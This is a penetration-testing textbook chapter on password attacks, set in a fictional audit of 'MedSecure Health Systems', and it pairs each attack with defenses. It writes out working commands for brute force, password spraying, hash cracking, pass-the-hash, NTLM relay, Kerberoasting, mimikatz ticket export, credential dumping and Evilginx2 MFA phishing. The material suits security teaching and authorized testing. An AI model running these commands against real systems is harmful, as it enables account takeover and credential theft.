Chapter 14: Password Attacks and Authentication Bypass

"The weakest link in the security chain is the human element." — Kevin Mitnick, The Art of Deception

Introduction

Passwords remain the most widespread authentication mechanism in computing, protecting everything from personal email accounts to the nuclear launch codes of nation-states. Despite decades of security research and the availability of stronger alternatives, passwords endure because they are simple, familiar, and require no special hardware. They are also, without question, the most attacked element of any security architecture.

In 2024, Verizon's Data Breach Investigations Report found that stolen credentials were involved in approximately 50% of all confirmed data breaches. The reason is straightforward: why spend weeks developing a sophisticated exploit when you can simply log in with a stolen password?

This chapter provides a comprehensive exploration of password attacks and authentication bypass techniques. You will learn the full spectrum of attack methodologies—from brute-force and dictionary attacks to sophisticated credential relay and multi-factor authentication bypass techniques. You will understand how passwords are stored, why some storage mechanisms are catastrophically weak, and how tools like Hashcat and John the Ripper can crack even seemingly strong passwords at staggering speeds.

As we apply these techniques to MedSecure Health Systems, you will see how a single weak password on a service account can unravel an entire organization's security posture. You will also learn the defensive measures that make password attacks dramatically harder—because our goal, as always, is to build stronger defenses.

⚖️ Legal Note: Password attacks must only be performed against systems you own or have explicit written authorization to test. Attempting to crack passwords or bypass authentication on unauthorized systems is a criminal offense. Even when authorized, handle any recovered credentials with extreme care—store them encrypted, share them only with authorized personnel, and destroy them securely after the engagement.

14.1 Password Attack Methodology

14.1.1 The Password Attack Lifecycle

Professional password attacks follow a structured methodology, not random guessing:

1. Reconnaissance — Gather information about the target's password policy (length requirements, complexity rules, rotation frequency, lockout thresholds). Identify all authentication endpoints. Discover usernames through OSINT, email harvesting, and directory enumeration.

2. Credential Collection — Obtain password hashes, encrypted passwords, or credential databases through exploitation, file system access, or network interception. Alternatively, prepare for online attacks if no hashes are available.

3. Attack Selection — Choose the appropriate attack type based on what you have: - Have hashes? → Offline cracking (Hashcat, John the Ripper) - Have network access to login pages? → Online attacks (brute force, dictionary, credential stuffing, password spraying) - Have NTLM hashes? → Pass-the-hash (no cracking needed)

4. Execution — Run the chosen attack with carefully selected parameters to balance speed, success probability, and stealth.

5. Validation — Verify recovered credentials against target systems. Document access gained and potential impact.

6. Reporting — Document findings with specific recommendations for remediation.

14.1.2 Understanding Password Storage

Before attacking passwords, you must understand how they are stored:

Plaintext Storage — The most catastrophic approach. Passwords stored as-is in a database or file. If the database is compromised, every password is immediately exposed. The 2009 RockYou breach exposed 32 million plaintext passwords because the company stored them without any protection.

Encrypted Storage — Passwords encrypted with a reversible algorithm. Better than plaintext, but if the encryption key is compromised (and it often lives on the same server), all passwords can be decrypted. This is why encryption is generally inappropriate for password storage.

Hashed Storage — Passwords processed through a one-way cryptographic hash function. The original password cannot be recovered from the hash. To verify a login, the system hashes the submitted password and compares it to the stored hash.

Salted Hashed Storage — A random value (the "salt") is prepended or appended to the password before hashing. This ensures that identical passwords produce different hashes, defeating precomputed rainbow tables. Each user should have a unique salt.

Key Derivation Functions (KDFs) — Modern best practice. Algorithms like bcrypt, scrypt, Argon2, and PBKDF2 are specifically designed for password storage. They incorporate salts, are computationally expensive (deliberately slow), and can be tuned to become slower as hardware improves.

Storage Method           Security Level    Example
-------------------------------------------------------------------
Plaintext               CATASTROPHIC       password123
Encoded (Base64)        CATASTROPHIC       cGFzc3dvcmQxMjM=
MD5 hash                POOR               482c811da5d5b4bc6d497ffa98491e38
MD5 + salt              MODERATE           salt:5f4dcc3b5aa765d61d8327deb882cf99
SHA-256 hash            MODERATE           ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f
bcrypt                  STRONG             $2b$12$LJ3m4ys3Lg2PqCiO7JkNEO8eScS8rCVWlg3SVnSAfkl4oMeSKuhYa
Argon2id                EXCELLENT          $argon2id$v=19$m=65536,t=3,p=4$c29tZXNhbHQ$...

14.1.3 Common Hash Formats in the Wild

During penetration tests, you will encounter various hash formats:

Windows NTLM:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::

The format is username:RID:LM_hash:NTLM_hash. The LM hash (aad3b435...) is often empty (LM authentication is disabled by default since Windows Vista). The NTLM hash is an unsalted MD4 hash of the Unicode password—extremely fast to crack.

Linux Shadow File:

admin:$6$rounds=5000$salt123$hash_value_here:18945:0:99999:7:::

The $6$ prefix indicates SHA-512. Other prefixes: $1$ = MD5, $5$ = SHA-256, $2a$/$2b$ = bcrypt, $y$ = yescrypt (modern Linux default).

NTLMv2 Challenge-Response (from network capture):

jsmith::MEDSECURE:1122334455667788:A1B2C3D4E5F6...:0101000000000000...

This is not a simple hash—it is a challenge-response that can be cracked offline but cannot be used directly for pass-the-hash.

Web Application Hashes (varies widely):

MD5:     482c811da5d5b4bc6d497ffa98491e38
SHA-1:   cbfdac6008f9cab4083784cbd1874f76618d2a97
SHA-256: ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f
bcrypt:  $2b$12$LJ3m4ys3Lg2PqCiO7JkNEO8eScS8rCVWlg3SVnSAfkl4oMeSKuhYa

14.2 Online Password Attacks

14.2.1 Brute Force Attacks

A brute-force attack systematically tries every possible combination of characters until the correct password is found. It is guaranteed to succeed given enough time—but "enough time" can mean centuries for strong passwords.

Mathematics of brute force:

For 12-character passwords with the full character set, the time exceeds the age of the universe. However, online attacks are much slower than 1M/second due to network latency and rate limiting. Typical online attack speeds are 10-1000 attempts per second, making brute force impractical for online attacks against anything but the shortest passwords.

Hydra (online brute force/dictionary tool):

# Brute force SSH login
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.50

# Brute force HTTP POST login form
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  10.10.10.60 http-post-form \
  "/login.php:user=^USER^&pass=^PASS^:Invalid credentials"

# Brute force RDP
hydra -l administrator -P passwords.txt rdp://10.10.10.50

# Brute force with username list
hydra -L users.txt -P passwords.txt ssh://10.10.10.50

Medusa:

# Brute force SMB
medusa -h 10.10.10.50 -u admin -P passwords.txt -M smbnt

# Brute force with multiple hosts
medusa -H hosts.txt -U users.txt -P passwords.txt -M ssh

🔵 Blue Team Perspective: Account lockout policies are the primary defense against online brute force. Implement: - Lock accounts after 5-10 failed attempts - Progressive delays (1 second after first failure, 2 after second, 4 after third, etc.) - CAPTCHA after 3 failed attempts - IP-based rate limiting - Monitor for distributed brute force (many IPs targeting one account, or one IP targeting many accounts) - Alert on brute force patterns in authentication logs (Windows Event ID 4625)

14.2.2 Dictionary Attacks

Dictionary attacks are a smarter variant of brute force that uses wordlists of common passwords, leaked passwords, and words from natural language. They are far more effective because humans choose predictable passwords.

The RockYou wordlist is the most famous, containing 14 million unique passwords leaked from the RockYou breach in 2009. It ships with Kali Linux at /usr/share/wordlists/rockyou.txt.gz.

The top 25 passwords from RockYou reveal the predictability of human password choices:

123456        iloveyou      monkey
12345         trustno1      master
123456789     dragon        qwerty
password      baseball      login
iloveyou      abc123        princess
princess      football      letmein
1234567       shadow        131313
rockyou       monkey        solo
12345678      696969        abc123

Custom wordlists are often more effective than generic ones. For MedSecure, an attacker might build a wordlist incorporating: - Medical terminology (HIPAA, patient, diagnosis, pharmacy) - The organization name and variations (MedSecure, medsecure, M3dS3cure) - Common healthcare software names (Epic, Cerner, Meditech) - Local geography (city names, hospital campus names) - Current year and seasons (Winter2026, Spring2026)

CeWL (Custom Word List Generator) creates wordlists by spidering websites:

# Generate wordlist from MedSecure's website
cewl https://www.medsecure.example.com -d 3 -m 6 -w medsecure_words.txt

# Options: -d depth, -m minimum word length, -w output file

Rules-based mutations transform dictionary words to match common password patterns:

# John the Ripper rules
# password -> Password, password1, p@ssword, Password!, etc.
john --wordlist=medsecure_words.txt --rules=All hashes.txt

14.2.3 Credential Stuffing

Credential stuffing exploits the fact that many people reuse passwords across multiple services. The attacker uses credentials leaked from one breach to attempt login on other services.

With billions of credentials available from major breaches (LinkedIn, Adobe, Yahoo, Dropbox, and many more), credential stuffing has become the most common password attack against web applications.

How credential stuffing works at scale:

1. Attacker obtains a credential dump (e.g., 500 million email/password pairs from Collection #1)
2. Attacker feeds these into automated tools that attempt login on the target
3. Because the attack uses real, previously-valid passwords, success rates of 0.5-2% are typical
4. 0.5% of 500 million is 2.5 million valid accounts

Tools for credential stuffing:

# Using Hydra with a credential list
hydra -C credentials.txt 10.10.10.60 http-post-form \
  "/login:user=^USER^&pass=^PASS^:F=Invalid"

# credentials.txt format: username:password (one per line)

Burp Suite with the Intruder module is commonly used for web application credential stuffing, and specialized tools like SentryMBA, OpenBullet, and STORM handle large-scale attacks with proxy rotation and CAPTCHA solving.

For MedSecure, a credential stuffing attack might target the employee portal. If any MedSecure employees used their work email to register on a breached service (like LinkedIn or Adobe) and reused their work password, the attacker gains legitimate access.

🔵 Blue Team Perspective: Defend against credential stuffing with: - Credential breach monitoring — Services like HaveIBeenPwned's API, SpyCloud, or Enzoic can check if employee credentials appear in known breaches - Multi-factor authentication — Even valid credentials are useless without the second factor - Bot detection — CAPTCHAs, device fingerprinting, and behavioral analysis to distinguish automated tools from humans - Rate limiting — Per-IP and per-account attempt limits - Password history checks — When users set new passwords, check them against known breach databases

14.2.4 Password Spraying

Password spraying inverts the traditional brute force approach. Instead of trying many passwords against one account (which triggers lockout), the attacker tries one password against many accounts, then waits, then tries the next password.

Traditional brute force (triggers lockout):
admin: password1, password2, password3, password4, password5 → LOCKED

Password spraying (evades lockout):
admin:    Spring2026!    [wait 30 minutes]    Summer2026!    [wait]
jsmith:   Spring2026!    [wait 30 minutes]    Summer2026!    [wait]
bwilson:  Spring2026!    [wait 30 minutes]    Summer2026!    [wait]
rjones:   Spring2026!    [wait 30 minutes]    Summer2026!    [wait]

Password spraying is devastatingly effective because it exploits statistical certainty: in any large organization, at least a few users will be using common, predictable passwords.

Sprayhound / CrackMapExec for Active Directory spraying:

# Spray a single password against all domain users
crackmapexec smb 10.10.10.50 -u users.txt -p 'Spring2026!' --no-bruteforce

# Spray against LDAP
crackmapexec ldap 10.10.10.50 -u users.txt -p 'Spring2026!'

# Using Ruler for O365 / Exchange
ruler -domain medsecure.com brute -users users.txt -passwords spray_list.txt

Common spray passwords to try: - [Season][Year]! — Winter2026!, Spring2026! - [Company]123 — MedSecure123 - Password1! — Meets most complexity requirements - Welcome1! — Common default/reset password - [City][Year] — Chicago2026

For MedSecure, a password spray attack targeting Active Directory with MedSecure2026! might succeed on 3-5% of accounts—that is potentially dozens of compromised accounts in an organization with hundreds of employees.

⚖️ Legal Note: Password spraying can lock out legitimate users if you exceed the lockout threshold. Always determine the lockout policy before spraying. If the policy locks accounts after 5 attempts, do not try more than 2-3 passwords per lockout window. Locking out healthcare staff could have patient safety implications.

14.3 Offline Password Attacks (Hash Cracking)

14.3.1 Why Offline Cracking Is Different

Offline cracking is fundamentally different from online attacks:

Once you have obtained password hashes (through exploitation, database access, or network interception), you can crack them on your own hardware with no interaction with the target. There are no lockouts, no logs, and no network traffic to detect.

14.3.2 Hashcat: GPU-Accelerated Cracking

Hashcat is the world's fastest password cracker, leveraging GPU parallelism to achieve staggering speeds. A modern GPU (like an NVIDIA RTX 4090) can test:

• NTLM: ~160 billion hashes/second
• MD5: ~65 billion hashes/second
• SHA-256: ~22 billion hashes/second
• bcrypt (cost 12): ~183 thousand hashes/second

Note the dramatic difference between fast hashes (NTLM, MD5) and slow hashes (bcrypt). This is exactly why bcrypt exists—it is deliberately slow.

Basic Hashcat usage:

# Dictionary attack against NTLM hashes
hashcat -m 1000 -a 0 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt

# -m 1000 = NTLM hash type
# -a 0 = Dictionary (straight) attack mode

# Dictionary attack with rules
hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Brute force attack (trying all combinations)
hashcat -m 1000 -a 3 ntlm_hashes.txt ?a?a?a?a?a?a?a?a
# ?a = all printable characters, 8 positions

# Mask attack (known pattern)
hashcat -m 1000 -a 3 ntlm_hashes.txt ?u?l?l?l?l?d?d?d?s
# Pattern: Uppercase, 4 lowercase, 3 digits, 1 special
# Matches: Hello123!

# Combinator attack (combine two wordlists)
hashcat -m 1000 -a 1 ntlm_hashes.txt wordlist1.txt wordlist2.txt

Hashcat hash modes (common types):

Hashcat attack modes:

14.3.3 John the Ripper

John the Ripper is another powerful password cracker, known for its versatility and extensive format support. While Hashcat excels at GPU-accelerated cracking, John the Ripper is often preferred for its auto-detection capabilities and wide format support.

# Auto-detect hash format and crack
john hashes.txt

# Specify format and wordlist
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt ntlm_hashes.txt

# Show cracked passwords
john --show ntlm_hashes.txt

# Use rules for mutations
john --format=NT --wordlist=rockyou.txt --rules=All ntlm_hashes.txt

# Incremental (brute force) mode
john --format=NT --incremental ntlm_hashes.txt

John's unique formats: John includes utilities for extracting hashes from various file types:

# Extract hashes from /etc/shadow
unshadow /etc/passwd /etc/shadow > unshadowed.txt
john unshadowed.txt

# Extract from SSH private keys
ssh2john id_rsa > ssh_hash.txt
john ssh_hash.txt

# Extract from KeePass databases
keepass2john database.kdbx > keepass_hash.txt
john keepass_hash.txt

# Extract from ZIP files
zip2john encrypted.zip > zip_hash.txt
john zip_hash.txt

# Extract from Office documents
office2john document.docx > office_hash.txt
john office_hash.txt

14.3.4 Rainbow Tables

Rainbow tables are precomputed lookup tables that map hash values to their plaintext inputs. Instead of computing hashes at crack time, you compute them once and store the results. A rainbow table lookup is nearly instantaneous.

Limitations of rainbow tables: - Size — Tables for complex passwords can be enormous (terabytes) - Salt defeats them — If each password has a unique salt, you would need a separate rainbow table for each salt, making the approach impractical - Fixed hash type — Each table is specific to one hash algorithm

Using rainbow tables with Ophcrack (Windows NTLM):

ophcrack -t /path/to/tables -f ntlm_hashes.txt

Because most modern systems use salted hashes, rainbow tables are primarily useful against: - Unsalted NTLM hashes (Windows local accounts) - Unsalted MD5 hashes (legacy web applications) - LM hashes (legacy Windows systems)

14.3.5 Cracking Strategy for MedSecure

When conducting a password audit for MedSecure, a structured cracking strategy maximizes results:

Phase 1: Low-Hanging Fruit (minutes)

# Try the most common passwords
hashcat -m 1000 -a 0 medsecure_hashes.txt common_passwords.txt

# Try blank/empty passwords
hashcat -m 1000 -a 3 medsecure_hashes.txt ""

Phase 2: Targeted Dictionary (hours)

# RockYou wordlist with rules
hashcat -m 1000 -a 0 medsecure_hashes.txt rockyou.txt -r best64.rule

# Custom MedSecure wordlist
hashcat -m 1000 -a 0 medsecure_hashes.txt medsecure_custom.txt -r best64.rule

Phase 3: Pattern-Based Masks (hours to days)

# Season + Year + Special
hashcat -m 1000 -a 3 medsecure_hashes.txt -1 "WSFM" -2 "interumpnlrg" \
  "?1?2?2?2?2?2?22026!"

# Company name variations
hashcat -m 1000 -a 6 medsecure_hashes.txt company_names.txt "?d?d?d?d?s"

Phase 4: Exhaustive (days to weeks)

# Full brute force up to 8 characters
hashcat -m 1000 -a 3 medsecure_hashes.txt ?a?a?a?a?a?a?a?a

🧪 Try It in Your Lab: Create a set of NTLM hashes from known passwords of varying complexity. Use Hashcat to crack them and observe how password complexity affects cracking time. Compare the speed of cracking NTLM (mode 1000) versus bcrypt (mode 3200) to understand why hash algorithm choice matters.

14.4 Advanced Authentication Attacks

14.4.1 Pass-the-Hash (PtH)

As introduced in Chapter 13, pass-the-hash allows authentication using the NTLM hash directly, without knowing the plaintext password. This works because NTLM authentication uses the hash in a challenge-response protocol—the plaintext is never transmitted or needed.

# Using CrackMapExec
crackmapexec smb 10.10.10.0/24 -u admin -H fc525c9683e8fe067095ba2ddc971889

# Using Impacket's psexec
psexec.py -hashes :fc525c9683e8fe067095ba2ddc971889 MEDSECURE/admin@10.10.10.70

# Using Impacket's wmiexec
wmiexec.py -hashes :fc525c9683e8fe067095ba2ddc971889 MEDSECURE/admin@10.10.10.70

# Using Evil-WinRM
evil-winrm -i 10.10.10.70 -u admin -H fc525c9683e8fe067095ba2ddc971889

Defending against PtH: - Credential Guard — Windows feature that isolates LSASS in a virtual secure mode, preventing hash extraction - Protected Users Security Group — Members cannot authenticate via NTLM - Restrict NTLM — Group Policy settings to limit NTLM authentication - Local Administrator Password Solution (LAPS) — Unique, rotated passwords for local admin accounts

14.4.2 Credential Relay (NTLM Relay)

NTLM relay attacks capture an NTLM authentication attempt and relay it to a different target in real-time. Unlike pass-the-hash, relay does not require extracting the hash—it forwards the live authentication exchange.

# Using Impacket's ntlmrelayx
ntlmrelayx.py -t 10.10.10.70 -smb2support

# Trigger authentication (e.g., with Responder)
responder -I eth0

# When a victim authenticates, ntlmrelayx relays to the target
# If successful, you get a shell or SAM dump on the target

Attack flow: 1. Attacker runs Responder to poison LLMNR/NBT-NS and capture authentication attempts 2. Victim's machine sends an NTLM authentication to the attacker (thinking it is the file server) 3. Attacker's ntlmrelayx forwards this authentication to the real target (10.10.10.70) 4. If the victim has admin rights on the target, the attacker gains access

Defending against NTLM relay: - SMB Signing — Mandatory SMB signing prevents relay by requiring packet signing with the session key - EPA (Extended Protection for Authentication) — Binds NTLM authentication to the TLS channel - Disable LLMNR and NBT-NS — Removes the primary trigger for relay attacks - Network segmentation — Limits which systems can authenticate to each other

14.4.3 Kerberoasting

Kerberoasting targets service accounts in Active Directory. Any authenticated domain user can request a Kerberos TGS (Ticket Granting Service) ticket for any service account. The ticket is encrypted with the service account's NTLM hash—which can be cracked offline.

# Using Impacket's GetUserSPNs
GetUserSPNs.py MEDSECURE/jsmith:Password123 -dc-ip 10.10.10.50 -outputfile kerberoast_hashes.txt

# Crack the hashes with Hashcat
hashcat -m 13100 kerberoast_hashes.txt rockyou.txt

# Using Rubeus (on a compromised Windows system)
Rubeus.exe kerberoast /outfile:hashes.txt

This is particularly devastating because: - Any domain user can request tickets (no special privileges needed) - The attack is difficult to detect (requesting TGS tickets is normal behavior) - Service accounts often have weak passwords and high privileges - Service account passwords rarely change

For MedSecure, if the svc_backup service account (which has access to all file shares for backup purposes) has a weak password, a Kerberoasting attack by any compromised domain user could lead to complete data compromise.

14.4.4 AS-REP Roasting

Similar to Kerberoasting, AS-REP roasting targets accounts that have Kerberos pre-authentication disabled. Without pre-authentication, anyone can request an AS-REP (Authentication Service Reply) for these accounts, and the response is encrypted with the account's hash—crackable offline.

# Find accounts with pre-auth disabled
GetNPUsers.py MEDSECURE/ -dc-ip 10.10.10.50 -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt

# Crack with Hashcat
hashcat -m 18200 asrep_hashes.txt rockyou.txt

🔵 Blue Team Perspective: Defend against Kerberoasting and AS-REP roasting: - Use strong, random passwords (25+ characters) for all service accounts - Implement Group Managed Service Accounts (gMSAs) where possible—these have automatically rotated 120-character passwords - Monitor for anomalous TGS requests (many requests from a single user in a short period) - Enable Kerberos pre-authentication for all accounts - Regularly audit SPN (Service Principal Name) assignments - Consider deploying honey tokens—fake service accounts that trigger alerts when TGS tickets are requested

14.4.5 Token Impersonation and Delegation Abuse

In Windows environments, authentication tokens represent a user's security context. An attacker with local admin access can steal and impersonate other users' tokens:

# Using Meterpreter
meterpreter > load incognito
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
MEDSECURE\admin
MEDSECURE\svc_backup
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
MEDSECURE\jsmith
MEDSECURE\bnewton

meterpreter > impersonate_token "MEDSECURE\\admin"
[+] Delegation token available
[+] Successfully impersonated user MEDSECURE\admin

meterpreter > getuid
Server username: MEDSECURE\admin

Kerberos Delegation Abuse: Unconstrained delegation allows a service to impersonate any user to any service. If an attacker compromises a server with unconstrained delegation, they can extract Kerberos TGTs from memory for any user who authenticates to that server.

# Find servers with unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true}

# Extract tickets on compromised delegation server
mimikatz # sekurlsa::tickets /export

14.5 Multi-Factor Authentication Bypass

14.5.1 Understanding MFA Weaknesses

Multi-factor authentication (MFA) significantly strengthens authentication, but it is not invincible. Attackers have developed several techniques to bypass MFA:

Real-Time Phishing (Adversary-in-the-Middle): The attacker sets up a phishing site that proxies the real login page in real time. When the victim enters their password and MFA code, both are forwarded to the real site instantly. The attacker captures the authenticated session cookie.

# Using Evilginx2 — real-time phishing framework
evilginx2

: phishlets hostname medsecure portal.medsecure.example.com
: phishlets enable medsecure
: lures create medsecure
: lures get-url 0
# Generates a phishing URL that proxies the real MedSecure portal

MFA Fatigue / Push Bombing: For push-notification-based MFA (like Microsoft Authenticator, Duo), the attacker repeatedly triggers MFA push notifications. The victim, annoyed by constant notifications—sometimes at 2 AM—eventually approves one.

This technique was used in the 2022 Uber breach, where an attacker bombarded a contractor's phone with Duo push notifications for over an hour until the victim accepted.

SIM Swapping: The attacker convinces the victim's mobile carrier to transfer the phone number to a new SIM card. This allows the attacker to receive SMS-based MFA codes. SIM swapping has been used in numerous high-profile cryptocurrency thefts.

Session Hijacking Post-MFA: Even with MFA, once a user authenticates, their session is maintained by a session cookie. If the attacker can steal this cookie (via XSS, MITM, or malware), they can hijack the authenticated session without needing MFA again.

# Stealing session cookies with Evilginx2
# After the victim authenticates through the proxy,
# Evilginx2 captures the session cookies:
: sessions
: sessions 1
[!] Session cookies:
  - .AspNet.Cookies: eyJ0eXAiOiJKV1QiLC...

Bypassing TOTP (Time-Based One-Time Password): If the attacker has access to the TOTP seed (secret key), they can generate valid codes. The seed might be found in: - Backup files or screenshots of QR codes - Database breaches that include MFA seed values - Malware on the device running the authenticator app

14.5.2 Hardware Token Bypass

Even hardware tokens like YubiKeys are not completely immune. Techniques include:

• Social engineering — Convincing the user or helpdesk to register a new token
• Downgrade attacks — Forcing fallback to weaker authentication methods
• Recovery code theft — Many MFA implementations provide backup/recovery codes that are stored insecurely

14.5.3 MFA Best Practices

🔵 Blue Team Perspective: Implement MFA that resists modern bypass techniques: - FIDO2/WebAuthn — Phishing-resistant by design (bound to the legitimate domain) - Number matching — For push notifications, require the user to enter a number shown on the login screen (prevents push bombing) - Certificate-based authentication — Ties authentication to a specific device certificate - Conditional access — Require stronger authentication for unusual locations, devices, or behaviors - Avoid SMS-based MFA — Vulnerable to SIM swapping and SS7 attacks - Monitor for MFA anomalies — Rapid MFA failures, unusual enrollment changes, backup code usage

14.6 Password Defense Strategies

14.6.1 Modern Password Policies

Traditional password policies ("8+ characters, uppercase, lowercase, number, special character, change every 90 days") have been shown to produce weaker passwords. Users respond with predictable patterns: Password1!, Spring2026!, Company123$.

Modern guidance from NIST SP 800-63B recommends:

• Minimum 8 characters (15+ for privileged accounts)
• Maximum at least 64 characters (support passphrases)
• No composition rules (no mandatory special characters)
• No mandatory rotation (change only when compromised)
• Screen against breached passwords (check common and leaked passwords)
• Allow paste (support password managers)
• Support all Unicode characters

14.6.2 Password Managers

Password managers solve the fundamental tension between security and usability. A strong, unique password for every account is achievable when the user only needs to remember one master password.

For MedSecure, deploying an enterprise password manager (like 1Password Business, Bitwarden, or CyberArk) ensures that: - Every service account has a unique, cryptographically random password - Shared credentials are managed centrally with access controls and audit trails - Emergency access procedures are defined for critical accounts - Passwords are rotated automatically where possible

14.6.3 Privileged Access Management (PAM)

For high-value accounts (domain admins, database admins, service accounts), Privileged Access Management solutions provide:

• Credential vaulting — Passwords stored in encrypted vaults, checked out when needed
• Session recording — All privileged sessions recorded for audit
• Just-in-time access — Privileges granted only when needed, automatically revoked
• Automatic rotation — Passwords changed after every use or on a schedule
• Dual authorization — Critical actions require two-person approval

14.6.4 Hash Storage Best Practices

For application developers at MedSecure:

# BAD — Never do this
import hashlib
stored_hash = hashlib.md5(password.encode()).hexdigest()

# BAD — Better but still insufficient
import hashlib, os
salt = os.urandom(32)
stored_hash = hashlib.sha256(salt + password.encode()).hexdigest()

# GOOD — Use bcrypt
import bcrypt
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))

# BEST — Use Argon2id
from argon2 import PasswordHasher
ph = PasswordHasher(time_cost=3, memory_cost=65536, parallelism=4)
hashed = ph.hash(password)

The key principle: use a purpose-built password hashing algorithm (Argon2id, bcrypt, scrypt) with appropriate cost parameters. Never use general-purpose hash functions (MD5, SHA-1, SHA-256) for password storage, even with salts.

14.7 Applying Password Attacks to MedSecure

14.7.1 MedSecure Password Audit Scenario

The MedSecure engagement includes an authorized password audit. We have been given SAM and NTDS.dit extracts from the domain controller. Here is the attack progression:

Step 1: Extract hashes using secretsdump

secretsdump.py MEDSECURE/admin:P@ssw0rd@10.10.10.50

# Output includes:
# SAM hashes (local accounts)
# Domain cached credentials
# NTDS.dit secrets (all domain accounts)
# Kerberos keys

Step 2: Initial triage — common passwords

hashcat -m 1000 -a 0 medsecure_ntlm.txt /usr/share/wordlists/rockyou.txt --potfile-path=medsecure.pot

# Results in first 30 minutes:
# svc_printer:Printer123
# jdoe:Welcome1
# reception01:MedSecure1
# trainee_acct:Password1!

Step 3: Targeted attack with custom rules

# Create custom wordlist
echo -e "MedSecure\nmedsecure\nMedical\nhospital\npatient\nHIPAA" > custom.txt

hashcat -m 1000 -a 6 medsecure_ntlm.txt custom.txt '?d?d?d?d?s' --potfile-path=medsecure.pot

# Additional results:
# hr_admin:MedSecure2025!
# lab_tech:hospital1234!

Step 4: Kerberoasting

GetUserSPNs.py MEDSECURE/jdoe:Welcome1 -dc-ip 10.10.10.50 -outputfile kerberoast.txt

hashcat -m 13100 kerberoast.txt rockyou.txt -r best64.rule

# Critical finding:
# svc_backup:BackupServ1ce!  (has access to all file shares)
# svc_sql:SQLadm1n!          (has DBA privileges)

Step 5: Impact analysis

This password audit reveals systemic weaknesses: - Service accounts use weak, human-memorable passwords - The password policy allows common patterns - No breach screening is in place - MFA is not enforced for all accounts

14.7.2 Remediation Recommendations

Based on the MedSecure password audit, the report should recommend:

1. Immediate: Reset all cracked passwords with strong, unique replacements
2. Short-term: Deploy gMSAs for all service accounts; implement breach-password screening
3. Medium-term: Deploy enterprise MFA for all users, starting with privileged accounts
4. Long-term: Implement PAM solution for all privileged access; migrate to passwordless authentication where possible

🧪 Try It in Your Lab: Set up a Windows Active Directory lab with deliberately weak passwords. Practice the full password audit workflow: dump hashes with secretsdump, crack with Hashcat, perform Kerberoasting, and document findings in a professional report format. This exercise teaches both the attack techniques and the documentation skills needed for real engagements.

Chapter Summary

This chapter explored the vast landscape of password attacks and authentication bypass techniques. We began with the password attack methodology and the critical importance of understanding how passwords are stored—from catastrophically insecure plaintext to robust Argon2id key derivation.

We covered online attacks (brute force, dictionary, credential stuffing, and password spraying) and their respective defenses, then dove deep into offline hash cracking with Hashcat and John the Ripper. The stark speed difference between cracking NTLM hashes (billions per second) and bcrypt hashes (thousands per second) illustrates why hash algorithm choice is perhaps the single most important password security decision.

Advanced authentication attacks—pass-the-hash, NTLM relay, Kerberoasting, and AS-REP roasting—showed how attackers leverage stolen credential material to move through Active Directory environments without ever cracking a single password. MFA bypass techniques, from real-time phishing to push fatigue attacks, demonstrated that even strong authentication can be circumvented.

Applied to MedSecure Health Systems, these techniques revealed how a comprehensive password audit can expose systemic weaknesses—from weak service account passwords to inadequate password policies—and drive meaningful security improvements.

The central lesson of this chapter is that passwords, despite their ubiquity, are inherently fragile. Defense requires a layered approach: strong hash algorithms, breach screening, multi-factor authentication, privileged access management, and continuous monitoring. The organizations that survive are those that assume their passwords will be compromised and build additional defenses accordingly.

Key Terms